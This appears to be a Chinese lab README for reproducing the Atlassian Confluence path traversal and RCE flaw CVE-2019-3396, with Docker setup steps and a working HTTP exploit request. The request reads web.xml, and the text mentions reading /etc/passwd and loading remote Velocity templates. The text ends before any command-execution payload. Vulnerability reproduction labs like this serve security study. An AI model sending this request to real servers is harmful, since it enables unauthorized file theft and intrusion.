Aaron
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58 lines
2.1 KiB
Markdown
58 lines
2.1 KiB
Markdown
# Atlassian Confluence 路径穿越导致远程代码执行漏洞（CVE-2019-3396）
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Atlassian Confluence是企业广泛使用的wiki系统，其6.14.2版本前存在一处未授权的目录穿越漏洞，通过该漏洞，攻击者可以读取任意文件，或利用Velocity模板注入执行任意命令。
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参考资料：
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- https://paper.seebug.org/884/
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- https://jira.atlassian.com/browse/CONFSERVER-57974
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## 环境搭建
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执行如下命令启动一个Confluence Server 6.10.2：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:8090`会进入安装引导，选择“Trial installation”，之后会要求填写license key。点击“Get an evaluation license”，去Atlassian官方申请一个Confluence Server的测试证书：
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然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长（建议使用4G内存以上的机器进行安装与测试），请耐心等待。
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如果提示填写cluster node，路径填写`/home/confluence`即可：
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后续可能要求你填写数据库账号密码，选择postgres数据库，地址为`db`，账号密码均为`postgres`：
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## 漏洞复现
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发送如下数据包，即可读取文件`web.xml`：
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```
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POST /rest/tinymce/1/macro/preview HTTP/1.1
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Host: localhost:8090
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
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Content-Type: application/json; charset=utf-8
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Content-Length: 176
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{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
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```
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6.12以前的Confluence没有限制文件读取的协议和路径，我们可以使用`file:///etc/passwd`来读取文件，也可以通过`https://...`来加载远程文件。
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该文件是一个Velocity模板，我们可以通过模板注入（SSTI）来执行任意命令：
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